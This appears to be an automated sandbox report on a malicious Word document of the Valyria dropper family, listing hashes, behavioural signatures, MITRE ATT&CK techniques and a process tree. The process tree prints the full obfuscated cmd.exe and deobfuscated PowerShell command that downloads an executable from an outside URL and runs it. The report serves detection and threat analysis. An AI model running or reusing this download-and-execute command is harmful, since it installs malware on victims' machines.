valyria | 85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2

General

Target

85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2.doc
Size

60KB
MD5

e6ad8f2aae70a48ac22722a9eec31626
SHA1

d348381ba3412722b16120ff091346b81575e4ba
SHA256

85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2
SHA512

8abe4cdde92020b735abf743cd19e3973a7df26b14e2540d106c1daa5f1cbb6934294cabe35f2caa922c4ea7c35c9670fe396d8b308c82642070f26513702488
SSDEEP

768:xqqqqm8jNkxD6LI7+qCGtyCwzktphJmNQxfqBlC2x:xqqqqm8jNyoI7+qCGgkgBlC

Score

10^/10

valyria dropper execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.nnapoakea.top/read.php?f=0.dat

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4904	5256	cMd.eXe	87

Valyria
Malicious Word document which is a loader for other malware.
dropper valyria
Valyria family
valyria

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4952	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
4904	cMd.eXe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
5256	WINWORD.EXE
5256	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
5256	WINWORD.EXE
5256	WINWORD.EXE
5256	WINWORD.EXE
5256	WINWORD.EXE
5256	WINWORD.EXE
5256	WINWORD.EXE
5256	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 5256 wrote to memory of 4904	5256	WINWORD.EXE	92
PID 5256 wrote to memory of 4904	5256	WINWORD.EXE	92
PID 4904 wrote to memory of 4952	4904	cMd.eXe	94
PID 4904 wrote to memory of 4952	4904	cMd.eXe	94

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\85c05d0a5d83254cf21d5fb675778c2728a2534ad8b04ff0ea0eb8be1a4aaab2.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5256
- C:\Windows\SYSTEM32\cMd.eXe
  cMd.eXe /c "powE^rsHeLl^.e^Xe -exe^cuTIO^nPO^LI^c^Y B^y^pass^ -^NOpr^of^Ile -WI^ndOW^ST^y^l^E HIDd^en^ (New^-o^BJE^c^t^ sySt^e^M.^NET^.^WeB^CLIENt)^.^DOWN^l^oa^d^fiLE(^'http://www.nnapoakea.top/read.php?f=0.dat','%ApPData%.ExE')^;^s^T^a^RT-Pr^oc^eSs '%ApPDaTA%.Exe'"
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powErsHeLl.eXe -execuTIOnPOLIcY Bypass -NOprofIle -WIndOWSTylE HIDden (New-oBJEct sySteM.NET.WeBCLIENt).DOWNloadfiLE('http://www.nnapoakea.top/read.php?f=0.dat','C:\Users\Admin\AppData\Roaming.ExE');sTaRT-ProceSs 'C:\Users\Admin\AppData\Roaming.Exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD9DE0.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w2gfk3sv.3xx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/4952-44-0x0000017B507E0000-0x0000017B50802000-memory.dmp

Filesize
136KB

Download
memory/5256-9-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-15-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-6-0x00007FFC27790000-0x00007FFC277A0000-memory.dmp

Filesize
64KB

Download
memory/5256-7-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-0-0x00007FFC27790000-0x00007FFC277A0000-memory.dmp

Filesize
64KB

Download
memory/5256-8-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-11-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-12-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-13-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-16-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-19-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-18-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-17-0x00007FFC24FC0000-0x00007FFC24FD0000-memory.dmp

Filesize
64KB

Download
memory/5256-5-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-14-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-10-0x00007FFC24FC0000-0x00007FFC24FD0000-memory.dmp

Filesize
64KB

Download
memory/5256-36-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-38-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-37-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-2-0x00007FFC27790000-0x00007FFC277A0000-memory.dmp

Filesize
64KB

Download
memory/5256-1-0x00007FFC27790000-0x00007FFC277A0000-memory.dmp

Filesize
64KB

Download
memory/5256-3-0x00007FFC27790000-0x00007FFC277A0000-memory.dmp

Filesize
64KB

Download
memory/5256-60-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-61-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-62-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-65-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-66-0x00007FFC67710000-0x00007FFC67905000-memory.dmp

Filesize
2.0MB

Download
memory/5256-4-0x00007FFC677AD000-0x00007FFC677AE000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads